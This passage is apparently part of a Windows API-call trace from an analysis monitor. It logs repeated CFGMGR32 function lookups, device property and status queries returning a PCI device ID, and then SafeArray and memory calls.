(hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.080] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.081] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.081] malloc (_Size=0x18) returned 0x20abc281b20 [0241.081] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.082] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b76f258, dwHighDateTime=0x1d9eb0c)) [0241.082] SetEvent (hEvent=0x248) returned 1 [0241.087] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.087] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.087] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.088] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.089] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.090] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.091] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.091] malloc (_Size=0x18) returned 0x20abc282020 [0241.092] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0241.092] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b76f258, dwHighDateTime=0x1d9eb0c)) [0241.092] SetEvent (hEvent=0x248) returned 1 [0241.099] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.099] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.099] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.100] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.101] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.102] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.103] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.106] malloc (_Size=0x18) returned 0x20abc2819a0 [0241.106] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0241.110] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b795efc, dwHighDateTime=0x1d9eb0c)) [0241.110] SetEvent (hEvent=0x248) returned 1 [0241.169] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.169] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.169] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.172] malloc (_Size=0x18) returned 0x20abc281ce0 [0241.173] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x31, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0241.173] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4b82da6a, dwHighDateTime=0x1d9eb0c)) [0241.173] SetEvent (hEvent=0x248) returned 1 [0241.187] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.187] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.191] malloc (_Size=0x18) returned 0x20abc281ce0 [0241.191] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x31, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0241.191] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4b87a05d, dwHighDateTime=0x1d9eb0c)) [0241.192] SetEvent (hEvent=0x248) returned 1 [0241.196] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.196] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.198] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.199] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.199] malloc (_Size=0x18) returned 0x20abc281dc0 [0241.200] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x31, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0241.200] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4b87a05d, dwHighDateTime=0x1d9eb0c)) [0241.200] SetEvent (hEvent=0x248) returned 1 [0241.227] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.228] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.230] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.231] malloc (_Size=0x18) returned 0x20abc281d40 [0241.232] CM_Get_Device_IDA (in: dnDevInst=0x32, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2930&SUBSYS_11001AF4&REV_02\\3&11583659&0&FB") returned 0x0 [0241.232] malloc (_Size=0x48) returned 0x20abc27cb20 [0241.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4b8c608e, dwHighDateTime=0x1d9eb0c)) [0241.232] SetEvent (hEvent=0x248) returned 1 [0241.237] malloc (_Size=0xd8) returned 0x20abc284e70 [0241.237] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0241.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0241.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0241.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0241.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0241.239] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0241.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0241.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0241.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0241.240] malloc (_Size=0x18) returned 0x20abc281ba0 [0241.240] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0241.241] malloc (_Size=0x124) returned 0x20abc286870 [0241.241] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0241.242] free (_Block=0x20abc286870) [0241.242] malloc (_Size=0x48) returned 0x20abc27cf80 [0241.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4b8ec44e, dwHighDateTime=0x1d9eb0c)) [0241.243] SetEvent (hEvent=0x248) returned 1 [0241.318] malloc (_Size=0x18) returned 0x20abc2819a0 [0241.318] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0241.318] free (_Block=0x20abc2819a0) [0241.318] malloc (_Size=0x18) returned 0x20abc282000 [0241.318] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0241.318] free (_Block=0x20abc282000) [0241.318] malloc (_Size=0x18) returned 0x20abc2820a0 [0241.318] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0241.318] free (_Block=0x20abc2820a0) [0241.318] malloc (_Size=0x18) returned 0x20abc281b80 [0241.318] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0241.318] free (_Block=0x20abc281b80) [0241.318] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0241.318] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0241.318] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0241.318] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0241.318] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0241.318] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0241.319] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0241.319] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0241.319] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0241.319] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.319] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0241.319] memcpy (in: 